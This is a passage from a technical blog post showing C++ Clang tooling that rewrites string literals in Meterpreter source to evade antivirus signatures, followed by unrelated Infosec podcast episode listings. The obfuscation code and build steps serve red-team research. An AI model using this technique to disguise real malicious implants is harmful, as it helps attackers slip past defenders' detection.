void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                         const clang::ast_type_traits::DynTypedNode node) {

    StringRef ParentNodeKind = node.getNodeKind().asStringRef();

    if (ParentNodeKind.compare("CallExpr") == 0) {
        handleCallExpr(pLiteral, pContext, node);
    } else if (ParentNodeKind.compare("InitListExpr") == 0) {
        handleInitListExpr(pLiteral, pContext, node);
    } else {
        llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "\n";
    }
}

As evident from the snippet above, only two kind of nodes are actually handled. It should also be quite easy to add more if needed. Indeed, both cases are already handled in a similar fashion.

void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    const auto *FunctionCall = node.get<clang::CallExpr>();

    if (isBlacklistedFunction(FunctionCall)) {
        return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
    }

    handleExpr(pLiteral, pContext, node);
}

void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                      const clang::ast_type_traits::DynTypedNode node) {

    handleExpr(pLiteral, pContext, node);
}

Replacing string literals

Since both CallExpr and InitListExpr can be handled in a similar fashion, we define a common function usable by both.

bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    clang::SourceRange LiteralRange = clang::SourceRange(
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
    );

    if(shouldAbort(pLiteral, pContext, LiteralRange))
        return false;

    std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());

    if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
        return false ;

    Globs::PatchedSourceLocation.push_back(LiteralRange);

    return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
  • We randomly generate a variable name.
  • Find some empty space at the nearest location and insert the variable declaration. This is basically a wrapper around ASTRewriter->InsertText().
  • Replace the string with the identifier generated in step 1.
  • Add the string literal location to a collection. This is useful because when visiting InitListExpr, the same string literal will appear twice (no idea why).

The last step is the only one that is tricky to implement really, so let us focus on that first:

bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                        clang::SourceRange LiteralRange,
                                        const std::string& Replacement) {

    // handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
    bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());

    if (isMacro) {
        StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
                                                         pContext->getSourceManager(), pContext->getLangOpts());

        // weird bug with TEXT Macro / other macros...there must be a proper way to do this.
        if (OrigText.find("TEXT") != std::string::npos) {

            ASTRewriter->RemoveText(LiteralRange);
            LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
        }
    }

    return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}

Normally, replacing text should be realised with the ReplaceText API, but in practice too many bugs were encountered with it. When it comes to macros, things tend to get very complicated because Clang’s API behaves inconsistently. For instance, if you remove the check isMacroBodyExpansion(), you will end up replacing “TEXT” instead of its argument.

For instance in LoadLibrary(TEXT("ntdll")), the actual result would be LoadLibrary(your_variable("ntdll")), which is incorrect.

The reason for this is that TEXT is a macro that, when handled by the Clang’s preprocessor, is replaced with L"ntdll". Our transformation pass happens after the preprocessor has done its job, so querying the start and end locations of the token “ntdll” will yield values that are off by a few characters, and are not useful to us. Unfortunately, querying the actual locations in the original translation unit is a kind of black magic with Clang’s API, and the working solution was found with trial-and-error, sorry.

Inserting a variable declaration at the nearest empty location

Now that we are able to replace string literals with variable identifiers, the goal is to define that variable and assign it with the value of the original string. In short, we want the patched source code to contain char your_variable[] = "ntdll", without overwriting anything.

There can be two scenarios:

  • The string literal is located within a function body.
  • The string literal is located outside a function body.

The latter is the most straightforward, since it is only needed to find the start of the expression where the string literal is used.

For the former, we need to find the enclosing function. Then, Clang exposes an API to query the start location of the function body (after the first bracket). This is an ideal place to insert a variable declaration because the variable will be visible in the entire function, and the tokens that we insert will not overwrite stuff.

In any case, both situations are solved by visiting every parent node until a node of type FunctionDecl or VarDecl is found:

MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {

    if (Iterations > CLIMB_PARENTS_MAX_ITER)
        throw std::runtime_error("Reached max iterations when trying to find a function declaration");

    ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;

    if (Iterations > 0) {
        parents = Context->getParents(Parent);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
            auto FunDecl = parent.get<clang::FunctionDecl>();
            auto *Statement = FunDecl->getBody();
            auto *FirstChild = *Statement->child_begin();
            return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};

        } else if (ParentNodeKind.find("VarDecl") != std::string::npos) {

            if (IsGlobal) {
                return parent.get<clang::VarDecl>()->getSourceRange();
            }
        }

        return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
    }
}

Test

git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c

As you can see, this works pretty well. Now, this example was simple enough that it could have been solved with regexes and way fewer lines of codes. However, even though we are delighted to count the king of regexes (
@1mm0rt411 himself) among our ranks, it would have been unfair to challenge him with a task as pesky as string obfuscation in Meterpreter.

Going further

For now, strings are not actually encrypted, in spite of the obfuscation pass being named “StringEncryptor”. How much effort is really needed to actually encrypt the strings? Spoiler: a few more hours, but it is a tradition to leave some exercices for the reader 😉

In addition, @TheColonial recently (April 2020) updated Meterpreter so that it can be compiled with more recent versions of Visual Studio. It means that it should be possible to move on from the C89 standard and handle more corner cases, such as obfuscating the first argument to format string functions.

To be continued…

As this post is already kind of lengthy, it was decided to split it into several parts. In fact, obfuscating strings was the easy part implementation-wise, although you need to be extremely familiar with Clang‘s API. Its documentation being the source code, we recommend allocating a week or two to ingest it as a whole 😛 (and then don’t hesitate to reach out to a specialist for mental health recovery).

The next blog post will be about hiding API Imports automatically.

References

Vladimir Meier

CompTIA CySA+ certification changes: Everything you need to know | Guest Patrick Lane

By: Infosec
18 June 2020 at 07:00

Information security analyst is the fastest-growing job category in the U.S., with 32 percent overall growth expected between 2018 and 2028. Take advantage of this opportunity and learn about the updated CompTIA CySA+ certification, which was refreshed in April 2020 to align with the most in-demand skills in this growing field.

Join Patrick Lane, Director of Products at CompTIA, in this audio version of our webinar to learn everything you need to know about the latest CySA+ certification and exam (CS0-002), including evolving security analyst job skills, common job roles for CySA+ holders, tips to pass the updated CySA+ exam and questions from live viewers.

– Watch the video version of the webinar: https://www.youtube.com/watch?v=zj9yBtDUH8E
– View the presentation's slides: https://www.slideshare.net/InfoSecInstituteEdu/comptia-cysa-certification-changes-everything-you-need-to-know
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

How COVID-19 is changing phishing, social engineering and security | Guest Aaron Cockerill

By: Infosec
15 June 2020 at 07:00

Individuals and organizations are shifting routines to accommodate Coronavirus health concerns, and bad actors are updating their strategies to capitalize on the new opportunities. Aaron Cockerill, CSO of Lookout, discusses how cybercriminals are looking to cash in or otherwise disrupt organizations during the pandemic, as well how workplace security is evolving with so many individuals now working from home.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Aaron Cockerill joined Lookout with nearly 20 years of software product management experience. As the Chief Strategy Officer, Aaron is responsible for developing, validating and implementing cross-functional strategic product initiatives that align with the Lookout vision of a secure connected world. Most recently, he served as VP of Mobile Technologies at Citrix, where he and his team were responsible for the development of Citrix’s mobile apps and container technology, while driving the acquisition of Zenprise. Prior to working on mobile technologies, Aaron drove the creation of Citrix’s desktop virtualization product, XenDesktop, which grew into more than $1 billion yearly revenue for Citrix during his five years of leadership. Before joining Citrix, Aaron worked for Akamai leading product management on their enterprise content delivery solution as well as working on the development and deployment of many of Akamai’s advanced content delivery networking technologies. Prior to that, Aaron led product management for OneSoft’s e-commerce system, and he held multiple positions at BHP Billiton in Australia. He holds a BE Materials (Honors) from Wollongong University, Australia.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Cybersecurity careers: How to stand out, get hired and make more money | Guest Karl Sharman

By: Infosec
8 June 2020 at 08:00

How can you stand out from the crowd when applying for your dream cybersecurity job, and how much should you make? Karl Sharman, a cybersecurity staffing and recruiting pro at BeecherMadden, answers those questions and more on today's episode. Learn how to get your foot in the door, how organizations can avoid writing Magical Unicorn Candidate job descriptions, and why the cybersecurity career landscape is closer to a diamond than a pyramid in shape.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Karl Sharman is a former Head of Recruitment in Football (Soccer) that assisted in selling £1 million worth of talent for a variety of clubs. Since switching to cybersecurity recruitment in 2017, Karl is now the North America Practice Leader for prominent cybersecurity recruitment company, BeecherMadden. With 10 years of recruitment experience, he helps organizations identify, acquire and retain talent in the cybersecurity and risk management sector across North America. He consults the industry on career paths, salary benchmarking, talent pools, and recruitment and retaining strategies. Karl was featured in the top 1% of Search & Staffing Professionals globally by LinkedIn, and BeecherMadden won security recruitment company of the year for 2019.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

2020 election security: Vulnerabilities, lockdowns and disinformation | Guest John Dickson

By: Infosec
1 June 2020 at 07:00

The 2020 presidential election is just around the corner, and cybersecurity is once again at the forefront. From disinformation campaigns and election-related vulnerabilities to lockdowns and vote by mail efforts due to COVID-19, we cover it all — and more — in this jam packed episode featuring returning favorite, John Dickson, Principal at Denim Group, Ltd.

– Free election security resources: https://www.infosecinstitute.com/iq/election-security-training/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

John Dickson is an internationally recognized security leader, entrepreneur and Principal at Denim Group, Ltd.  He has nearly 20 years of hands-on experience in intrusion detection, network security and application security in the commercial, public and military sectors. As a Denim Group Principal, he helps executives and Chief Security Officers (CSO’s) of Fortune 500 companies, including major financial institutions, launch and expand their critical application security initiatives.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Hunting criminals and stolen identities across the internet | Guest Amyn Gilani

By: Infosec
25 May 2020 at 07:00

Explore the hidden corners of the internet and the stolen identities that live there with today's guest, Amyn Gilani, Vice President of Product at 4iQ. He talks about his path from red teaming to cyber attribution intelligence, where bad guys hide on the internet, and what it's like to be “on a mission to unmask cybercriminals.”

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Amyn Gilani is the Vice President of Product at 4iQ, a Los Altos-based adversary intelligence company. Previously, he was a Chief Technologist at Booz Allen Hamilton where he provided expertise to federal and commercial clients focusing on incident response, red teaming, threat hunting and cybersecurity operations engineering. Prior to joining Booz Allen, Amyn was a Vice President in Information Security at Goldman Sachs where he led red team operations and emulated sophisticated attacks against securities trading platforms and payment systems. He began his career serving in the United States Air Force as an intelligence analyst and was on detail at the National Security Agency and United States Cyber Command.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

❌
❌